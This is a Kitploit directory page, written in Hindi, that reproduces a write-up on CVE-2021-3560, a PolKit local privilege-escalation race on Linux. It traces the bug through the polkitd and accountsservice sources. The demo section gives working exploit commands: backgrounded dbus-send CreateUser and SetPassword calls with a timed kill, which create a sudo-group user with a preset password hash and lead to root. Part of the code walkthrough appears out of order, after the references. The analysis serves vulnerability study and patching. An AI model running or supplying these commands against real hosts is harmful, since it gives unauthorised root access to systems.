Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-3560 — CVE-2021-3560 का गहन विश्लेषण, जो Linux PolKit में एक स्थानीय विशेषाधिकार वृद्धि भेद्यता है। इसमें मूल कारण विश्लेषण, शोषण तंत्र, और रूट एक्सेस की ओर ले जाने वाली रेस कंडीशन का प्रदर्शन शामिल है। | Kitploit
उपकरण/GitHubGitHub/chenaotian/cve-2021-3560
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणबाइनरी विश्लेषणलर्निंग और शिक्षा
GitHubchenaotian/cve-2021-3560

CVE-2021-3560

CVE-2021-3560 का गहन विश्लेषण, जो Linux PolKit में एक स्थानीय विशेषाधिकार वृद्धि भेद्यता है। इसमें मूल कारण विश्लेषण, शोषण तंत्र, और रूट एक्सेस की ओर ले जाने वाली रेस कंडीशन का प्रदर्शन शामिल है।

रिपॉजिटरी देखें
9324 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-3560 PolKit सशर्त दौड़ स्थानीय विशेषाधिकार वृद्धि विश्लेषण

[toc]

भेद्यता परिचय

भेद्यता आईडी: CVE-2021-3560

भेद्यता स्कोर:

भेद्यता उत्पाद: linux PolKit (polkitd)

प्रभावित सीमा: स्रोत कोड 0.113 में पेश किया गया; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html

  • RHEL 8
  • Fedora 21 और बाद के संस्करण
  • Debian testing (“bullseye”)
  • Ubuntu 20.04

उपयोग की शर्तें: linux स्थानीय; dbus + polkitd मौजूद

उपयोग प्रभाव: स्थानीय विशेषाधिकार वृद्धि

स्रोत कोड प्राप्त करें:

  • polkit-0.113: https://launchpad.net/debian/+source/policykit-1/0.113-5
  • accountsservice: apt source accountsservice
  • dbus: apt source dbus

वातावरण सेटअप

ubuntu डिफ़ॉल्ट छवि ubuntu-20.04.2 पुन: प्रस्तुत करने के लिए पर्याप्त है: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso

भेद्यता सिद्धांत

भेद्यता बिंदु

पहले समस्या कोड देखें

/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync

root@kitploit:~
static void
on_retrieved_unix_uid_pid (GObject              *src,
			   GAsyncResult         *res,
			   gpointer              user_data)
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error);
  if (!v)
    {
      data->caught_error = TRUE; //某些原因失败之后设置error位
    }
  else
  {
      ··· ···//执行成功的数据处理
  }
  ··· ···
}

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; //data 被初始化为0
  ··· ···
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixUser",      /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //回调函数
			  &data);
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixProcessID", /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //回调函数
			  &data);

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //无论如何都是 TRUE?
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;
}

polkit_system_bus_name_get_creds_sync फ़ंक्शन में, यह फ़ंक्शन कुछ अनुरोधों के लिए प्रमाणीकरण करता है (विशिष्ट तर्क परिदृश्य बाद में विस्तार से बताया जाएगा)। यह क्रमशः org.freedesktop.DBus बस के माध्यम से GetConnectionUnixUser विधि और GetConnectionUnixProcessID विधि को कॉल करता है। ये दो विधियाँ org.freedesktop.DBus बस द्वारा प्रदान की जाती हैं, जो अनुरोध प्रक्रिया के PID और उपयोगकर्ता UID को प्राप्त करती हैं, और फिर उन्हें कॉलबैक फ़ंक्शन on_retrieved_unix_uid_pid में भेजती हैं जो लौटाए गए डेटा को संसाधित करता है। फिर यह बस की ओर से प्रक्रिया पूरी होने तक ब्लॉक करता है।

on_retrieved_unix_uid_pid फ़ंक्शन में देखा जा सकता है कि यह बस से लौटाए गए परिणाम के आधार पर तय करता है कि कोई अपवाद हुआ है या नहीं (error?), और फिर अपवाद बिट सेट करता है। यदि सफल होता है, तो यह उपयोगकर्ता UID या प्रक्रिया PID लौटाता है। लेकिन polkit_system_bus_name_get_creds_sync फ़ंक्शन में, बस से परिणाम लौटने की प्रतीक्षा करने के बाद (प्रसंस्करण पूर्ण होने का संकेत यह है कि UID और PID दोनों संसाधित हो गए हैं या कोई अपवाद हुआ है), दूसरे शब्दों में, तार्किक रूप से बस से लौटने के तीन संभावित परिणाम हैं: उपयोगकर्ता UID 0 प्राप्त करना (विशेषाधिकार प्राप्त उपयोगकर्ता); उपयोगकर्ता UID गैर-0 प्राप्त करना (सामान्य उपयोगकर्ता); अपवाद। लेकिन बाद के प्रसंस्करण में, अपवाद को संभाला नहीं जाता है, और सीधे out_uid को बस से लौटाए गए data.uid पर सेट कर दिया जाता है, फिर ret को सीधे TRUE पर सेट कर दिया जाता है:

root@kitploit:~
  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //无论如何都是 TRUE?

लेकिन एक स्थिति को नजरअंदाज किया गया है: जब DBUS बस की ओर से निष्पादन में अपवाद होता है, जिसके कारण कॉलबैक फ़ंक्शन अपवाद बिट सेट करके वापस आ जाता है, और data डेटा को बिल्कुल संसाधित नहीं करता है। चूंकि data को 0 से प्रारंभ किया गया था, इसके परिणामस्वरूप बाद में out_uid को सीधे 0 पर सेट कर दिया जाता है, जो विशेषाधिकार प्राप्त उपयोगकर्ता है।

तो यह समस्याग्रस्त polkit_system_bus_name_get_creds_sync फ़ंक्शन कहाँ उपयोग किया जाता है?

ट्रिगर पथ

भेद्यता बिंदु polkitd प्रक्रिया में है:

polkit एक एप्लिकेशन-स्तरीय टूलसेट है जो विभिन्न प्राथमिकता वाली प्रक्रियाओं के बीच संचार को सक्षम करने के लिए अनुमति नियमों को परिभाषित और ऑडिट करता है: नियंत्रण निर्णय एक समान ढांचे में केंद्रित होते हैं, यह तय करते हुए कि क्या कम प्राथमिकता वाली प्रक्रिया को उच्च प्राथमिकता वाली प्रक्रिया तक पहुंचने का अधिकार है।

संक्षेप में, यह एक पृष्ठभूमि में चलने वाली रूट प्रक्रिया है जो अन्य कम विशेषाधिकार वाली प्रक्रियाओं द्वारा उच्च विशेषाधिकार वाली प्रक्रियाओं द्वारा प्रदान की जाने वाली सुविधाओं तक पहुंचने के लिए अनुमति निर्णय लेने के लिए इंटरप्रोसेस संचार के माध्यम से काम करती है। चूंकि यह प्रक्रिया gdb के साथ जुड़ने पर पुनरारंभ हो जाती है, हमें केवल स्रोत कोड स्तर पर विश्लेषण करना होगा और भेद्यता फ़ंक्शन के ट्रिगर पथ का पता लगाना होगा:

polkitd में बड़े पैमाने पर gio DBUS इंटरप्रोसेस संचार ढांचे का उपयोग किया गया है, आप पहले से मैनुअल देख सकते हैं, कुछ महत्वपूर्ण फ़ंक्शन आदि पर ध्यान दें।

आगे हम polkitd के भेद्यता ट्रिगर पथ का विश्लेषण करते हैं,

  1. सबसे पहले main:

    polkit-0.113\src\polkitbackend\polkitd.c : 155 : main

    root@kitploit:~
    int
    main (int    argc,
          char **argv)
    {
      ··· ···
      ··· ···
    
      loop = g_main_loop_new (NULL, FALSE);
    
      sigint_id = g_unix_signal_add (SIGINT,
                                     on_sigint,
                                     NULL);
    
      name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
                                      "org.freedesktop.PolicyKit1",  //一个总线名称注册
                                      G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
                                        (opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
                                      on_bus_acquired, //该总线被访问时的回调函数
                                      on_name_acquired,
                                      on_name_lost,
                                      NULL,
                                      NULL);
    
      g_print ("Entering main event loop\n");
      g_main_loop_run (loop); //循环启动
      ··· ···
      ··· ···
    }
    
  2. पहले org.freedesktop.PolicyKit1 नामक एक बस पंजीकृत करता है, फिर तीन कॉलबैक फ़ंक्शन हैं, मुख्य रूप से on_bus_acquired पर ध्यान दें, जो बस तक पहुंचने पर कॉल किया जाता है।

  3. on_bus_acquired फ़ंक्शन में सीधे एक पंजीकरण प्रकार का फ़ंक्शन polkit_backend_authority_register कॉल किया जाता है।

अर्थात, जब अन्य फ़ंक्शन बस org.freedesktop.PolicyKit1.Authority पर CheckAuthorization विधि को कॉल करते हैं, तो कुछ परिदृश्यों में (DBUS द्वारा अनुरोधित UID प्राप्त करने में अपवाद नियंत्रित करना) उस विधि की प्रमाणीकरण शुद्धता प्रभावित हो सकती है। चूंकि हम सीधे उत्तर देख सकते हैं, भेद्यता का उपयोग करने की विधि account-daemon का उपयोग करना है।

भेद्यता उपयोग

समग्र विश्लेषण

पहले exp लेखक के इस चित्र का संदर्भ लें:

image-20220131163536269

चित्र में वस्तुओं का परिचय:

  • polkitd, dbus-daemon और account-daemon तीनों प्रक्रियाएँ रूट विशेषाधिकारों के साथ चलने वाली पृष्ठभूमि सेवा प्रक्रियाएँ हैं।
  • dbus-daemon एक इंटरप्रोसेस संचार "राउटर" है, जो ऊपर उल्लिखित GIO DBUS इंटरप्रोसेस संचार ढांचे का मूल है। मेरी समझ में, विभिन्न प्रक्रियाएँ यहाँ बस नाम पंजीकृत कर सकती हैं, और आपके साथ संवाद करने वाली प्रक्रियाएँ बस नाम और इंटरफ़ेस/विधि नामों तक पहुँचकर आपकी प्रक्रिया में फ़ंक्शन कॉल कर सकती हैं। ऊपर वर्णित polkitd प्रक्रिया के कुछ फ़ंक्शन dbus में बस पंजीकृत करके अन्य प्रक्रियाओं द्वारा कॉल किए जाने की प्रतीक्षा करते हैं।
  • account-daemon polkitd के समान है, यह dbus में org.freedesktop.Accounts बस पंजीकृत करता है और खाता-संबंधित विधियों की एक श्रृंखला प्रदान करता है, जैसे कि उपयोगकर्ता जोड़ना, पासवर्ड सेट करना आदि, जिनका उपयोग बाद में किया जाएगा। और यह प्रक्रिया उपयोगकर्ता जोड़ने जैसे संचालन से पहले उपयोगकर्ता का प्रमाणीकरण करती है, और प्रमाणीकरण विधि ठीक वही है जो ऊपर उल्लिखित polkitd प्रक्रिया द्वारा प्रदान की गई भेद्यता-युक्त बस विधि CheckAuthorization है।
  • dbus-send एक कमांड है, dbus बस प्रक्रियाओं के बीच संचार के लिए कुछ प्रोग्रामिंग इंटरफ़ेस प्रदान करती है, और साथ ही कमांड-लाइन कमांड भी प्रदान करती है जो सीधे एक निश्चित प्रक्रिया को संदेश भेजकर उनकी विधियों को कॉल कर सकते हैं।

तो यहाँ भेद्यता उपयोग की समग्र घटना प्रवाह इस प्रकार है:

  1. dbus-send कमांड का उपयोग करके account-daemon प्रक्रिया को एक संदेश भेजें, जिससे वह एक प्रशासक उपयोगकर्ता बनाए (यह प्रक्रिया द्वारा प्रदान की गई CreateUser विधि डिफ़ॉल्ट रूप से प्रशासक उपयोगकर्ता जोड़ती है), लेकिन हमारी पहचान के साथ यह ऑपरेशन पूरा नहीं किया जा सकता है।
  2. संदेश account-daemon प्रक्रिया पर भेजे जाने के बाद, account-daemon polkitd प्रक्रिया से अनुमति सत्यापन का अनुरोध करेगा, यह तय करने के लिए कि क्या इस उपयोगकर्ता जोड़ने के ऑपरेशन को मंजूरी दी जाए।
  3. polkitd बस से पूछताछ करेगा कि उपयोगकर्ता बनाने का अनुरोध करने वाली प्रक्रिया के उपयोगकर्ता विशेषाधिकार और प्रक्रिया आईडी क्या हैं।
    • हमें यह करना होगा कि संदेश भेजने के बाद, account-daemon द्वारा संदेश प्राप्त करने से लेकर polkitd द्वारा अनुरोध करने वाली प्रक्रिया के विशेषाधिकारों के बारे में पूछताछ करने तक की समयावधि के भीतर, अनुरोध करने वाली प्रक्रिया (यानी dbus-send प्रक्रिया) को kill कर दें।
  4. तब बस पाएगी कि उपयोगकर्ता जोड़ने का अनुरोध करने वाली प्रक्रिया गायब हो गई है, और वह एक अपवाद लौटाएगी।
  5. उपरोक्त विश्लेषण के अनुसार, भेद्यता बिंदु यह है कि प्रक्रिया अपवाद को डिफ़ॉल्ट रूप से सफल मान लेती है, और तब उपयोगकर्ता uid को 0 मान लेती है, जो विशेषाधिकार प्राप्त उपयोगकर्ता है। इससे भेद्यता ट्रिगर होती है और ऑपरेशन की अनुमति मिल जाती है।

account-daemon संचार व्यवहार विश्लेषण

चूंकि dbus-daemon एक मध्यस्थ प्रक्रिया है, इसलिए हम इसका विस्तार से विश्लेषण नहीं करेंगे, लेकिन यहाँ account-daemon प्रक्रिया का विश्लेषण करते हैं, जो उपयोग प्रक्रिया में एक महत्वपूर्ण प्रक्रिया है। यह प्रक्रिया भी GIO DBUS ढांचे का उपयोग करती है, इसमें कुछ महत्वपूर्ण बिंदुओं का सरल विश्लेषण करते हैं, पहले देखें:

accountsservice-0.6.45\src\daemon.c : 90

root@kitploit:~
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);

G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
        iface->handle_create_user = daemon_create_user;
        iface->handle_delete_user = daemon_delete_user;
        ··· ···
}

यहाँ G_DEFINE_TYPE_WITH_CODE और G_IMPLEMENT_INTERFACE मैक्रो का उपयोग करके daemon_accounts_accounts_iface_init फ़ंक्शन को निष्पादित किया जाता है। इन दो मैक्रो का अर्थ है कि वे किसी अवसर पर daemon_accounts_accounts_iface_init फ़ंक्शन को निष्पादित करेंगे, जिसमें create_user विधि पंजीकृत की गई है। सीधे daemon_create_user फ़ंक्शन का कार्यान्वयन देखें:

accountsservice-0.6.45\src\daemon.c : 1099

root@kitploit:~
static gboolean
daemon_create_user (AccountsAccounts      *accounts,
                    GDBusMethodInvocation *context,
                    const gchar           *user_name,
                    const gchar           *real_name,
                    gint                   account_type)
{
        ··· ···
        data = g_new0 (CreateUserData, 1);
        data->user_name = g_strdup (user_name);
        data->real_name = g_strdup (real_name);
        data->account_type = account_type;

        daemon_local_check_auth (daemon,
                                 NULL,
                                 "org.freedesktop.accounts.user-administration",
                                 TRUE,
                                 daemon_create_user_authorized_cb, //回调函数
                                 context,
                                 data,
                                 (GDestroyNotify)create_data_free);

        return TRUE;
}

daemon_create_user में daemon_local_check_auth फ़ंक्शन कॉल किया जाता है ताकि अनुरोध करने वाले उपयोगकर्ता के विशेषाधिकारों की जांच की जा सके, और सफल होने पर कॉलबैक फ़ंक्शन daemon_create_user_authorized_cb कॉल किया जाता है। यहाँ पहले प्रमाणीकरण फ़ंक्शन daemon_local_check_auth देखें:

accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth

root@kitploit:~
void
daemon_local_check_auth (Daemon                *daemon,
                         User                  *user,
                         const gchar           *action_id,
                         gboolean               allow_interaction,
                         AuthorizedCallback     authorized_cb,
                         GDBusMethodInvocation *context,
                         gpointer               authorized_cb_data,
                         GDestroyNotify         destroy_notify)
{
        ··· ···
        polkit_authority_check_authorization (daemon->priv->authority,
                                              subject,
                                              action_id,
                                              NULL,
                                              flags,
                                              NULL,
                                              (GAsyncReadyCallback) check_auth_cb,
                                              data);
        ··· ···
}

यहाँ polkit_authority_check_authorization फ़ंक्शन कॉल किया जाता है जो libpolkit-gobject-1.so.0 द्वारा प्रदान किया गया एक लाइब्रेरी फ़ंक्शन है, जो सीधे ऊपर विश्लेषित polkitd प्रक्रिया में बस org.freedesktop.PolicyKit1.Authority पर CheckAuthorization विधि को कॉल करके प्रमाणीकरण करता है। प्रमाणीकरण सफल होने पर कॉलबैक फ़ंक्शन daemon_create_user_authorized_cb कॉल किया जाता है:

accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb

root@kitploit:~
static void
daemon_create_user_authorized_cb (Daemon                *daemon,
                                  User                  *dummy,
                                  GDBusMethodInvocation *context,
                                  gpointer               data)

{
        ··· ···

        argv[0] = "/usr/sbin/adduser";
        argv[1] = "--quiet";
        argv[2] = "--disabled-login";
        argv[3] = "--gecos";
        argv[4] = cd->real_name;
        argv[5] = cd->user_name;
        argv[6] = NULL;

        error = NULL;
        if (!spawn_with_login_uid (context, argv, &error)) { //添加用户
                throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
                g_error_free (error);
                return;
        }

        if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
                add_user_to_group (context, cd->user_name, "sudo"); //将用户添加到sudo 组
        }

        ··· ···
}

यहाँ यह स्पष्ट है कि उपयोगकर्ता को सफलतापूर्वक जोड़ने के बाद, उपयोगकर्ता को सीधे sudo उपयोगकर्ता समूह में जोड़ दिया जाता है, इसलिए exp के अंत में उपयोगकर्ता को जोड़ने के बाद sudo su root के माध्यम से रूट में स्विच किया जा सकता है।

अब मैन्युअल भेद्यता उपयोग का डेमो देखें।

डेमो

सामान्य उपयोगकर्ता के रूप में सीधे dbus-send कमांड का उपयोग करके account-daemon को उपयोगकर्ता बनाने का अनुरोध भेजें:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

यह अनुरोध ग्राफिकल इंटरफ़ेस वाले ऑपरेटिंग सिस्टम में पासवर्ड दर्ज करने की विंडो दिखाएगा:

image-20220131153323446

ssh जैसे कमांड-लाइन टर्मिनल में यह सीधे विफल हो जाएगा:

image-20220131153521697

ऊपर भेद्यता उपयोग के विचार के अनुसार, पहले इस कमांड का निष्पादन समय देखें:

root@kitploit:~
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

image-20220131153802829

फिर इस कमांड के लगभग आधे निष्पादन समय पर इसे kill करने का चयन करें, तो भेद्यता ट्रिगर होने और उपयोगकर्ता सफलतापूर्वक बनने की संभावना है:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!

कई बार निष्पादित करने पर सफलता मिल सकती है:

image-20220131154220337

और यह sudo उपयोगकर्ता समूह में भी है:

image-20220131154304858

फिर उसी विधि से इसके लिए एक पासवर्ड सेट करें:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!

User1002 को नवनिर्मित उपयोगकर्ता के UID के अनुसार बदलना होगा, पासवर्ड हैश मान का उपयोग करें। फिर उपयोगकर्ता पर स्विच करें।

exp

यहाँ exp विस्तार से नहीं लिखा गया है, वास्तव में यह उपरोक्त कमांड को स्वचालित करने जितना सरल है। github पर C भाषा का exp भी चलाने पर ठीक काम करता है।

hakivvi/CVE-2021-3560

शमन उपाय

नवीनतम संस्करण में अपग्रेड करें।

संदर्भ

भेद्यता प्रकटीकरण (github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560

m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502

टूल डाउनलोड करें
  • polkit_backend_authority_register फ़ंक्शन में, एक इंटरफ़ेस ऑब्जेक्ट org.freedesktop.PolicyKit1.Authority पंजीकृत किया जाता है, और एक कॉलबैक फ़ंक्शन तालिका server_vtable पास की जाती है। भेद्यता ट्रिगर बिंदु इस कॉलबैक फ़ंक्शन तालिका में से एक में है:

    policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable

    root@kitploit:~
    static const GDBusInterfaceVTable server_vtable =
    {
      server_handle_method_call, //回调函数
      server_handle_get_property,
      NULL, /* server_handle_set_property */
    };
    static void
    server_handle_method_call (GDBusConnection        *connection,
                               const gchar            *sender,
                               const gchar            *object_path,
                               const gchar            *interface_name,
                               const gchar            *method_name,
                               GVariant               *parameters,
                               GDBusMethodInvocation  *invocation,
                               gpointer                user_data)
    {
      Server *server = user_data;
      PolkitSubject *caller;
    
      caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
    
      if (g_strcmp0 (method_name, "EnumerateActions") == 0)
        server_handle_enumerate_actions (server, parameters, caller, invocation);
      else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
        server_handle_check_authorization (server, parameters, caller, invocation); //漏洞函数路径在这里
      ··· ···
      ··· ···
    }
    

    जब अन्य प्रक्रियाएँ बस के माध्यम से CheckAuthorization विधि को कॉल करती हैं, तो server_handle_check_authorization फ़ंक्शन कॉल किया जाता है।

  • server_handle_check_authorization फ़ंक्शन में, polkit_backend_authority_check_authorization कॉल किया जाता है।

  • polkit_backend_authority_check_authorization फ़ंक्शन में, कॉलबैक के माध्यम से klass->check_authorization कॉल किया जाता है, बाद वाला पंजीकृत फ़ंक्शन polkit_backend_interactive_authority_check_authorization है:

    polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization

    root@kitploit:~
    void
    polkit_backend_authority_check_authorization (PolkitBackendAuthority        *authority,
                                                  PolkitSubject                 *caller,
                                                  PolkitSubject                 *subject,
                                                  const gchar                   *action_id,
                                                  PolkitDetails                 *details,
                                                  PolkitCheckAuthorizationFlags  flags,
                                                  GCancellable                  *cancellable,
                                                  GAsyncReadyCallback            callback,
                                                  gpointer                       user_data)
    {
      ··· ···
      if (klass->check_authorization == NULL)
        {
          ··· ···
        }
      else
        {
          klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // 注册的是polkit_backend_interactive_authority_check_authorization
        }
    }
    authority_class->check_authorization             = /
    polkit_backend_interactive_authority_check_authorization; //在别处初始化的
    
  • अब क्रम में खोजें: check_authorization_sync

  • polkit_backend_session_monitor_get_user_for_subject

  • भेद्यता फ़ंक्शन: polkit_system_bus_name_get_user_sync

  • polkitd
  • यद्यपि dbus-send प्रक्रिया को kill कर दिया गया, जिससे बस जांच में अपवाद आया, लेकिन account-daemon प्रभावित नहीं होगा; account-daemon द्वारा संदेश प्राप्त करने के बाद, वह अब अनुरोध करने वाली प्रक्रिया के अस्तित्व की परवाह नहीं करेगा।
  • account-daemon को polkitd से जोड़ने की अनुमति का उत्तर मिलने के बाद, वह उपयोगकर्ता बनाता है और उपयोग पूरा करता है।